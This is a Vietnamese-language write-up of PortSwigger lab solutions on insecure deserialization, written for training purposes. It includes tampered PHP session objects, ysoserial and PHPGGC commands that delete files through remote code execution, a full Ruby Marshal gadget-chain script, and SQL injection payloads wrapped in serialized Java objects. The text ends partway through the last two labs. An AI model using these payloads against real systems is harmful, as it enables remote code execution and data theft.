Insecure Deserialization Writeup

PortSwigger

Author:

  • Pham Quoc Trung

Used Tools:

  • BurpSuite

Problems Solving:

Lab: Modifying serialized objects

Description:

This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result. To solve the lab, edit the serialized object in the session cookie to exploit this vulnerability and gain administrative privileges. Then, delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Ở đây do đề bài đã cung cấp cho mình tài khoản wiener, mình sẽ thử đăng nhập xem có gì không

Nhìn vào request sau khi đăng nhập, mình thấy có cookie là session đã được set thành dạng Base64 của chuỗi O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}. Đây là dạng serialized của object user. Vì yêu cầu của bài là lấy được quyền admin và xóa tài khoản carlos, mình sẽ thử sửa b:0 thành b:1 và gửi đi xem sao

Có thể thấy, giao diện của mình hiện đã có thêm nút Admin panel. Truy cập vào đó và xóa đi carlos, mình hoàn thành bài lab

Lab: Modifying serialized data types

Description:

This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Tương tự bài trước, mình cứ thử đăng nhập bằng tài khoản mà đề bài đã cho

Lần này thì mình thấy cookie session có giá trị là O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"euenp6m85xsb9140zfhbsq7o8zl3rfob";}, mình không biết access_token này phải là gì nào để có thể lấy được quyền admin.

Theo như mình nghĩ, một code cơ bản để check access_token sử dụng deserialization sẽ kiểu như sau

$user = unserialize($_COOKIE['session']);
if($user->access_token === 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx') {
    // Get admin
}

Tuy nhiên, nếu đoạn code kia sử dụng == thay vì ===, hay còn gọi là loose comparison thì ta có thể tìm cách bypass được. Lí do ở đây là == chỉ so sánh giá trị chứ không so sánh cả kiểu dữ liệu như ===. Khi này, nếu mình điền access_token0, đoạn so sánh sẽ thành 0 == 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' sẽ trả về True\text{True}.

Áp dụng lý thuyết trên, mình sẽ sửa s:32:... thành i:0 và gửi đi xem sao

Như đã dự đoán, mình đã thành công bypass cách này. Giờ chỉ cần xóa tài khoản carlos đi là mình sẽ hoàn thành bài lab

Lab: Using application functionality to exploit insecure deserialization

Description:

This lab uses a serialization-based session mechanism. A certain feature invokes a dangerous method on data provided in a serialized object. To solve the lab, edit the serialized object in the session cookie and use it to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

You also have access to a backup account: gregg:rosebud

Solution:

Với bài này thì sau khi đăng nhập, mình thấy session có thêm phần về avatar_link, cũng như ta có thêm chức năng xóa tài khoản

Khi thực hiện xóa tài khoản, request gửi đi sẽ trông như này

Do chỉ có session để xác định user hiện tại cần xóa nên mình nghĩ trang web sẽ sử dụng avatar_link để xóa đi avatar của người dùng trên hệ thống khi xóa người dùng. Dựa vào đề bài, mình sẽ thử thay đường link thành s:23:"users/carlos/morale.txt" xem có thể xóa được file này của user carlos không

Mã trả về là 302, và mình thử xem response này trên trình duyệt. Tuy nhiên, có vẻ mình đã làm sai ở đâu đó.

Sau khi đọc kĩ lại, mình thấy file cần xóa nằm trong thư mục home của carlos. Mình sẽ thử sửa lại thành s:23:"/home/carlos/morale.txt"

Quay lại trình duyệt, lần này bài lab đã được hoàn thành

Lab: Arbitrary object injection in PHP

Description:

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the morale.txt file from Carlos's home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Tương tự các bài trước, khi đăng nhập bằng tài khoản mà đề bài cho, mình sẽ có được một cookie có giá trị session như sau:

Ở đây khi nhìn vào source code của response trả về, mình thấy có dòng comment sau

Mình thử truy cập vào nó nhưng không thấy gì, có vẻ website đã chạy code php bên trong file này để thực thi việc gì đó. Mình sẽ thử thêm ~ vào sau php để xem website này có sơ suất trong việc xóa đi các file tạm/backup không. Nếu có, mình có thể xem được nội dung file trên vì php~ không phải là đuôi được website thiết kể để thực thi

Và mình đã xem được nội dung của file /libs/CustomTemplate.php. Đây là ý nghĩa của nó khi mình dùng ChatGPT

Ở đây ta để ý __destruct() là một magic method. Nó sẽ xóa file lock_file_path đi mỗi khi ta khởi tạo một object từ class này. Mục tiêu của bài này là xóa đi file morale.txt nằm trong thư mục home của carlos nên mình có thể tạo một object của class CustomTemplate có thuộc tính lock_file_path/home/carlos/morale.txt. Ở đây session sử dụng serialization-based nên mình sẽ tạo object như sau

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Mình sẽ mã hóa Base64 nó sau đó thay vào session và gửi request đi xem sao

Quay về trang chủ, mình thấy bài lab đã được hoàn thành

Lab: Exploiting Java deserialization with Apache Commons

Description:

This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don't have source code access, you can still exploit this lab using pre-built gadget chains.

To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Ở đây mình sau khi đăng nhập mình thấy session có dạng rO0...., có vẻ là nó được serialize bằng Java

Mục tiêu vẫn là xóa đi file morale.txt. Vì là sử dụng Java và mình không có source code, mình sẽ sử dụng tool ysoserial để tấn công coi sao.

Cú pháp: java -jar ysoserial-all.jar [payload] '[command]'

Java 16 hoặc hơn (Dùng thử nhưng chưa được) java -jar ysoserial-all.jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED [payload] '[command]'

Có khá nhiều loại payload

Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

Ở đây mình sẽ thử sử dụng như sau

java -jar ysoserial-all.jar CommonsCollections2 'rm -rf /home/carlos/morale.txt' | base64 -w 0

Lấy mã Base64 trên cho vào session, encode URL và gửi đi, mình thấy response trả về exception

Quay về trình duyệt, mình thấy bài lab đã được hoàn thành

  • The URLDNS chain triggers a DNS lookup for a supplied URL. Most importantly, it does not rely on the target application using a specific vulnerable library and works in any known Java version. This makes it the most universal gadget chain for detection purposes. If you spot a serialized object in the traffic, you can try using this gadget chain to generate an object that triggers a DNS interaction with the Burp Collaborator server. If it does, you can be sure that deserialization occurred on your target.

  • JRMPClient is another universal chain that you can use for initial detection. It causes the server to try establishing a TCP connection to the supplied IP address. Note that you need to provide a raw IP address rather than a hostname. This chain may be useful in environments where all outbound traffic is firewalled, including DNS lookups. You can try generating payloads with two different IP addresses: a local one and a firewalled, external one. If the application responds immediately for a payload with a local address, but hangs for a payload with an external address, causing a delay in the response, this indicates that the gadget chain worked because the server tried to connect to the firewalled address. In this case, the subtle time difference in responses can help you to detect whether deserialization occurs on the server, even in blind cases.

Lab: Exploiting PHP deserialization with a pre-built gadget chain

Description:

This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don't have source code access, you can still exploit this lab's insecure deserialization using pre-built gadget chains.

To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Với bài này thì session của mình sau khi đăng nhập sẽ có dạng như sau

Phần Base64 của token sau khi decode sẽ là O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"sezq29lz0lxx45xvsaq7ehcu0a2o91so";}. sig_hmac_sha1 là chữ ký số cho cookie này

Do format của token là dữ liệu serialized của PHP, mình sẽ sử dụng tool PHPGGC: PHP Generic Gadget Chains để thử làm coi sao. Có khá nhiều lựa chọn:

PHPGGC: https://github.com/ambionics/phpggc

Gadget Chains
-------------

NAME                                      VERSION                                                 TYPE                      VECTOR         I
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Command              __destruct
CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct
CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Command              __destruct
CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct
CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                          File read                 __toString     *
CodeIgniter4/RCE1                         4.0.2                                                   RCE: Command              __destruct
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                     RCE: Command              __destruct
CodeIgniter4/RCE3                         4.0.4 <= 4.4.3                                          RCE: Command              __destruct
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE: Command              __destruct
CodeIgniter4/RCE5                         -4.1.3+                                                 RCE: Command              __destruct
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                       RCE: Command              __destruct
Doctrine/FW1                              ?                                                       File write                __toString     *
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                          File write                __destruct     *
Doctrine/RCE1                             1.5.1 <= 2.7.2                                          RCE: PHP Code             __destruct     *
Doctrine/RCE2                             1.11.0 <= 2.3.2                                         RCE: Command              __destruct     *
Dompdf/FD1                                1.1.1 <= ?                                              File delete               __destruct     *
Dompdf/FD2                                ? < 1.1.1                                               File delete               __destruct     *
Drupal7/FD1                               7.0 <= 7.78                                             File delete               __destruct     *
Drupal7/RCE1                              7.0.8 <= 7.98                                           RCE: Command              __destruct     *
Drupal9/RCE1                              -8.9.6 <= 9.5.10+                                       RCE: Command              __destruct     *
Guzzle/FW1                                4.0.0-rc.2 <= 7.5.0+                                    File write                __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                          phpinfo()                 __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                          RCE: Command              __destruct     *
Horde/RCE1                                <= 5.2.22                                               RCE: PHP Code             __destruct     *
Kohana/FR1                                3.*                                                     File read                 __toString     *
Laminas/FD1                               <= 2.11.2                                               File delete               __destruct
Laminas/FW1                               2.8.0 <= 3.0.x-dev                                      File write                __destruct     *
Laravel/FD1                               *                                                       File delete               __destruct     *
Laravel/RCE1                              5.4.27                                                  RCE: Command              __destruct
Laravel/RCE2                              5.4.0 <= 8.6.9+                                         RCE: Command              __destruct
Laravel/RCE3                              5.5.0 <= 5.8.35                                         RCE: Command              __destruct     *
Laravel/RCE4                              5.4.0 <= 8.6.9+                                         RCE: Command              __destruct
Laravel/RCE5                              5.8.30                                                  RCE: PHP Code             __destruct     *
Laravel/RCE6                              5.5.* <= 5.8.35                                         RCE: PHP Code             __destruct     *
Laravel/RCE7                              ? <= 8.16.1                                             RCE: Command              __destruct     *
Laravel/RCE8                              7.0.0 <= 8.6.9+                                         RCE: Command              __destruct     *
Laravel/RCE9                              5.4.0 <= 9.1.8+                                         RCE: Command              __destruct
Laravel/RCE10                             5.6.0 <= 9.1.8+                                         RCE: Command              __toString
Laravel/RCE11                             5.4.0 <= 9.1.8+                                         RCE: Command              __destruct
Laravel/RCE12                             5.8.35, 7.0.0, 9.3.10                                   RCE: Command              __destruct     *
Laravel/RCE13                             5.3.0 <= 9.5.1+                                         RCE: Command              __destruct     *
Laravel/RCE14                             5.3.0 <= 9.5.1+                                         RCE: Command              __destruct
Laravel/RCE15                             5.5.0 <= v9.5.1+                                        RCE: Command              __destruct
Laravel/RCE16                             5.6.0 <= v9.5.1+                                        RCE: Command              __destruct
Laravel/RCE17                             10.31.0                                                 RCE: Command              __destruct
Laravel/RCE18                             10.31.0                                                 RCE: PHP Code             __destruct     *
Laravel/RCE19                             10.34                                                   RCE: Command              __destruct
Laravel/RCE20                             5.6 <= 10.x                                             RCE: Command              __destruct
Magento/FW1                               ? <= 1.9.4.0                                            File write                __destruct     *
Magento/SQLI1                             ? <= 1.9.4.0                                            SQL injection             __destruct
Magento2/FD1                              *                                                       File delete               __destruct     *
Magento2/FD2                              *                                                       File delete               __destruct
Monolog/FW1                               3.0.0 <= 3.1.0+                                         File write                __destruct     *
Monolog/RCE1                              1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+                         RCE: Command              __destruct
Monolog/RCE2                              1.4.1 <= 2.7.0+                                         RCE: Command              __destruct
Monolog/RCE3                              1.1.0 <= 1.10.0                                         RCE: Command              __destruct
Monolog/RCE4                              ? <= 2.4.4+                                             RCE: Command              __destruct     *
Monolog/RCE5                              1.25 <= 2.7.0+                                          RCE: Command              __destruct
Monolog/RCE6                              1.10.0 <= 2.7.0+                                        RCE: Command              __destruct
Monolog/RCE7                              1.10.0 <= 2.7.0+                                        RCE: Command              __destruct     *
Monolog/RCE8                              3.0.0 <= 3.1.0+                                         RCE: Command              __destruct     *
Monolog/RCE9                              3.0.0 <= 3.1.0+                                         RCE: Command              __destruct     *
Phalcon/RCE1                              <= 1.2.2                                                RCE: eval(php://input)    __wakeup       *
Phing/FD1                                 2.6.0 <= 3.0.0a3                                        File delete               __destruct
PHPCSFixer/FD1                            <= 2.17.3                                               File delete               __destruct
PHPCSFixer/FD2                            <= 2.17.3                                               File delete               __destruct
PHPExcel/FD1                              1.8.2+                                                  File delete               __destruct
PHPExcel/FD2                              <= 1.8.1                                                File delete               __destruct
PHPExcel/FD3                              1.8.2+                                                  File delete               __destruct
PHPExcel/FD4                              <= 1.8.1                                                File delete               __destruct
PHPSecLib/RCE1                            2.0.0 <= 2.0.34                                         RCE: PHP Code             __destruct     *
PHPWord/FD1                               *                                                       File delete               __destruct     *
Pydio/Guzzle/RCE1                         < 8.2.2                                                 RCE: Command              __toString
Slim/RCE1                                 3.8.1                                                   RCE: Command              __toString
Smarty/FD1                                ?                                                       File delete               __destruct
Smarty/SSRF1                              ?                                                       SSRF                      __destruct     *
Snappy/FD1                                *                                                       File delete               __destruct     *
Spiral/RCE1                               2.7.0 <= 2.8.13                                         RCE: Command              __destruct
Spiral/RCE2                               -2.8+                                                   RCE: Command              __destruct     *
SwiftMailer/FD1                           -5.4.12+, -6.2.1+                                       File delete               __destruct
SwiftMailer/FD2                           5.4.6 <= 5.x-dev                                        File delete               __destruct     *
SwiftMailer/FR1                           6.0.0 <= 6.3.0                                          File read                 __toString
SwiftMailer/FW1                           5.1.0 <= 5.4.8                                          File write                __toString
SwiftMailer/FW2                           6.0.0 <= 6.0.1                                          File write                __toString
SwiftMailer/FW3                           5.0.1                                                   File write                __toString
SwiftMailer/FW4                           4.0.0 <= ?                                              File write                __destruct
Symfony/FD1                               v3.2.7 <= v3.4.25 v4.0.0 <= v4.1.11 v4.2.0 <= v4.2.6    File delete               __destruct
Symfony/FW1                               2.5.2                                                   File write                DebugImport    *
Symfony/FW2                               3.4                                                     File write                __destruct
Symfony/RCE1                              v3.1.0 <= v3.4.34                                       RCE: Command              __destruct     *
Symfony/RCE2                              2.3.42 < 2.6                                            RCE: PHP Code             __destruct     *
Symfony/RCE3                              2.6 <= 2.8.32                                           RCE: PHP Code             __destruct     *
Symfony/RCE4                              3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE: Command              __destruct     *
Symfony/RCE5                              5.2.*                                                   RCE: Command              __destruct
Symfony/RCE6                              v3.4.0-BETA4 <= v3.4.49 & v4.0.0-BETA4 <= v4.1.13       RCE: Command              __destruct     *
Symfony/RCE7                              v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE: Command              __destruct
Symfony/RCE8                              v3.4.0 <= v4.4.18 v5.0.0 <= v5.2.1                      RCE: Command              __destruct
Symfony/RCE9                              2.6.0 <= 4.4.18                                         RCE: Command              __destruct
Symfony/RCE10                             2.0.4 <= 5.4.24 (all)                                   RCE: Command              __toString
Symfony/RCE11                             2.0.4 <= 5.4.24 (all)                                   RCE: Command              __destruct
TCPDF/FD1                                 <= 6.3.5                                                File delete               __destruct     *
ThinkPHP/FW1                              5.0.4-5.0.24                                            File write                __destruct     *
ThinkPHP/FW2                              5.0.0-5.0.03                                            File write                __destruct     *
ThinkPHP/RCE1                             5.1.x-5.2.x                                             RCE: Command              __destruct     *
ThinkPHP/RCE2                             5.0.24                                                  RCE: Command              __destruct     *
ThinkPHP/RCE3                             -6.0.1+                                                 RCE: Command              __destruct
ThinkPHP/RCE4                             -6.0.1+                                                 RCE: Command              __destruct
Typo3/FD1                                 4.5.35 <= 10.4.1                                        File delete               __destruct     *
vBulletin/RCE1                            -5.6.9+                                                 RCE: Command              __destruct
WordPress/Dompdf/RCE1                     0.8.5+ & WP < 5.5.2                                     RCE: Command              __destruct     *
WordPress/Dompdf/RCE2                     0.7.0 <= 0.8.4 & WP < 5.5.2                             RCE: Command              __destruct     *
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE: Command              __toString     *
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2                            RCE: Command              __destruct     *
WordPress/P/EmailSubscribers/RCE1         4.0 <= 4.4.7+ & WP < 5.5.2                              RCE: Command              __destruct     *
WordPress/P/EverestForms/RCE1             1.0 <= 1.6.7+ & WP < 5.5.2                              RCE: Command              __destruct     *
WordPress/P/WooCommerce/RCE1              3.4.0 <= 4.1.0+ & WP < 5.5.2                            RCE: Command              __destruct     *
WordPress/P/WooCommerce/RCE2              <= 3.4.0 & WP < 5.5.2                                   RCE: Command              __destruct     *
WordPress/P/YetAnotherStarsRating/RCE1    ? <= 1.8.6 & WP < 5.5.2                                 RCE: Command              __destruct     *
WordPress/PHPExcel/RCE1                   1.8.2+ & WP < 5.5.2                                     RCE: Command              __toString     *
WordPress/PHPExcel/RCE2                   <= 1.8.1 & WP < 5.5.2                                   RCE: Command              __toString     *
WordPress/PHPExcel/RCE3                   1.8.2+ & WP < 5.5.2                                     RCE: Command              __destruct     *
WordPress/PHPExcel/RCE4                   <= 1.8.1 & WP < 5.5.2                                   RCE: Command              __destruct     *
WordPress/PHPExcel/RCE5                   1.8.2+ & WP < 5.5.2                                     RCE: Command              __destruct     *
WordPress/PHPExcel/RCE6                   <= 1.8.1 & WP < 5.5.2                                   RCE: Command              __destruct     *
WordPress/RCE1                            <= 6.3.1                                                RCE: Command              __toString     *
WordPress/RCE2                            6.4.0+                                                  RCE: Command              __destruct
Yii/RCE1                                  1.1.20                                                  RCE: Command              __wakeup       *
Yii/RCE2                                  1.1.20                                                  RCE: Command              __destruct
Yii2/RCE1                                 <2.0.38                                                 RCE: Command              __destruct     *
Yii2/RCE2                                 <2.0.38                                                 RCE: PHP Code             __destruct     *
ZendFramework/FD1                         ? <= 1.12.20                                            File delete               __destruct
ZendFramework/RCE1                        ? <= 1.12.20                                            RCE: PHP Code             __destruct     *
ZendFramework/RCE2                        1.11.12 <= 1.12.20                                      RCE: Command              __toString     *
ZendFramework/RCE3                        2.0.1 <= ?                                              RCE: Command              __destruct
ZendFramework/RCE4                        ? <= 1.12.20                                            RCE: PHP Code             __destruct     *
ZendFramework/RCE5                        2.0.0rc2 <= 2.5.3                                       RCE: Command              __destruct

Để xác định được option cần dùng, mình thử để ý lại response. Mình nhìn thấy dòng sau

Thử truy cập vào đường dẫn trên, mình chưa tìm được gì cho lắm

Giờ mình sẽ thử trigger lỗi bằng cách gửi request có chứa sig_hmac_sha1 sai xem sao

Có thể thấy trong lỗi có trả về luôn framework mà trang web này đang sử dụng là Symfony Version 4.3.6\text{Symfony Version 4.3.6}. Dựa vào điều này, mình sẽ sử dụng lệnh sau để tạo ra payload

./phpggc Symfony/RCE4 exec 'rm -rf /home/carlos/morale.txt' | base64 -w 0

Thay token bằng payload phía trên và gửi đi

Ta thấy trang web trả về lỗi vì signature của mình là không đúng, hay sig_hmac_sha1 cho token mới của mình. Để có thể gen ra cái này thì mình cần có secret key. Để ý ban nãy trong đường dẫn /cgi-bin/phpinfo.php, mình có tìm được giá trị này như sau

Mình sẽ sử dụng CyberChef\text{CyberChef} để tạo ra chữ ký mới

Thay chữ ký mới vào sig_hmac_sha1 và gửi đi

Có thể thấy đã không còn lỗi liên quan tới signature nữa. Quay về trang chủ bằng trình duyệt, mình thấy bài lab đã được hoàn thành

Lab: Exploiting Ruby deserialization using a documented gadget chain

Description:

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Tương tự các bài trước nhưng lần này session có vẻ lạ vì không giống format của PHP hay Java

Mình thử hỏi ChatGPT thì nhận được câu trả lời là trang web này sử dụng Ruby on Rails.

Sau một hồi tìm kiếm tool để khai thác deserialization cho Ruby thì mình không tìm ra cái nào cả. Tuy nhiên, mình tìm được bài viết này. Mình sẽ thử dùng đoạn script cuối cùng để gen ra payload. Ở đây mình phải edit một chút như sau

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm -rf /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
require "base64"
puts Base64.encode64(payload)

Chạy chương trình và mình có được payload

Mình sẽ thử thay nó vào session và gửi đi

Quay về trình duyệt, mình thấy bài lab đã hoàn thành

Lab: Developing a custom gadget chain for Java deserialization

Description:

This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab's insecure deserialization to obtain the administrator's password.

To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator's password. Then, log in as the administrator and delete carlos.

You can log in to your own account using the following credentials: wiener:peter

Note that solving this lab requires basic familiarity with another topic that we've covered on the Web Security Academy.

Solution:

Trước hết, nhìn vào session ta có thể dễ dàng nhận ra trang web sử dụng Java

Sau khi thử sử dụng ysoserial không được, mình nghĩ phải tự tạo ra payload ở bài này. Việc cần làm là phải tìm ra source code của nó cái đã. Mình thử nhìn trong response:

Có vẻ source code sẽ ở trong đường dẫn trên. Thử mở ra và mình thấy code của chức năng tạo token

Tuy vậy, mình chỉ biết là class này sử dụng serialization chứ không có gì thú vị lắm. Mình thử truy cập đường dẫn /backup/ thì thấy có thêm 1 file nữa

Khi mở file ProductTemplate.java ra, mình thấy nó cũng import thư viện phục vụ serialization nhưng có sự xuất hiện của hàm readObject

Khi có hàm này, Java sẽ sử dụng nó để deserialization thay vì cách mặc định. Để ý thì đoạn query SQL kia truyền trực tiếp giá trị ID vào thay vì dùng prepare statement, nghĩa là có khả năng sẽ có lỗi SQL Injection. Ý tưởng của mình ở đây sẽ là truyền giá trị ID độc hại vào thông qua lỗ hổng về deserialization để khai thác lỗi SQL Injection.

Đầu tiên, mình sẽ tìm cách để tạo ra object của class ProductTemplate. Mình viết các file code Java như sau. Các package phải giống với code của server

data/productcatalog/Product.java

package data.productcatalog;
public class Product {
  // Just for it to work
}

data/productcatalog/ProductTemplate.java

package data.productcatalog;
import java.io.Serializable;

public class ProductTemplate implements Serializable {
  static final long serialVersionUID = 1L;

  private final String id;
  private transient Product product;

  public ProductTemplate(String id) {
    this.id = id;
  }

  public String getId() {
    return id;
  }
}

Main.java

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;
import java.util.Scanner;

class Main {
  public static void main(String[] args) throws Exception {
    Scanner scanner = new Scanner(System.in);
    System.out.print("Enter payload: ");
    String userInput = scanner.nextLine();

    ProductTemplate originalObject = new ProductTemplate(userInput);

    String serializedObject = serialize(originalObject);

    System.out.println("Serialized object: " + serializedObject);

    // ProductTemplate deserializedObject = deserialize(serializedObject);

    // System.out.println("Deserialized object ID: " + deserializedObject.getId());
  }

  private static String serialize(Serializable obj) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
    try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
      out.writeObject(obj);
    }
    return Base64.getEncoder().encodeToString(baos.toByteArray());
  }

  private static <T> T deserialize(String base64SerializedObj) throws Exception {
    try (ObjectInputStream in = new ObjectInputStream(
        new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
      @SuppressWarnings("unchecked")
      T obj = (T) in.readObject();
      return obj;
    }
  }
}

Mình sẽ thử gửi một payload cơ bản của SQL Injection xem có gì xảy ra

Enter payload: ' OR 1=1--
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQACicgT1IgMT0xLS0=

Nhìn exception này thì có vẻ ta đã không sai gì đó. Giờ mình sẽ thử tìm ra số column

Enter payload: ' ORDER BY 9--
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQADicgT1JERVIgQlkgOS0t

Có thể thấy lỗi khi ' ORDER BY 9--, có nghĩa là có 8 column. Giờ mình sẽ tìm xem ô nào có thể in ra kết quả. Do mã lỗi bên trên không in ra lỗi chi tiết nên mình sẽ thử dùng Verbose error messages\text{Verbose error messages} để trigger Blind SQLi

Enter payload: ' UNION SELECT CAST('abcxyz' as int),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
Serialized object: rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQASScgVU5JT04gU0VMRUNUIENBU1QoJ2FiY3h5eicgYXMgaW50KSxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLS0=

Tìm ra tên bảng

Lab: Developing a custom gadget chain for PHP deserialization

Description:

This lab uses a serialization-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialization to achieve remote code execution. To solve the lab, delete the morale.txt file from Carlos's home directory.

You can log in to your own account using the following credentials: wiener:peter

Solution:

Với bài này thì mình có session được serialize sử dụng PHP. Và mình cũng đã thấy một đường dẫn file PHP trong response

Truy cập vào /cgi-bin/libs/CustomTemplate.php~ để xem có đọc được code của nó không

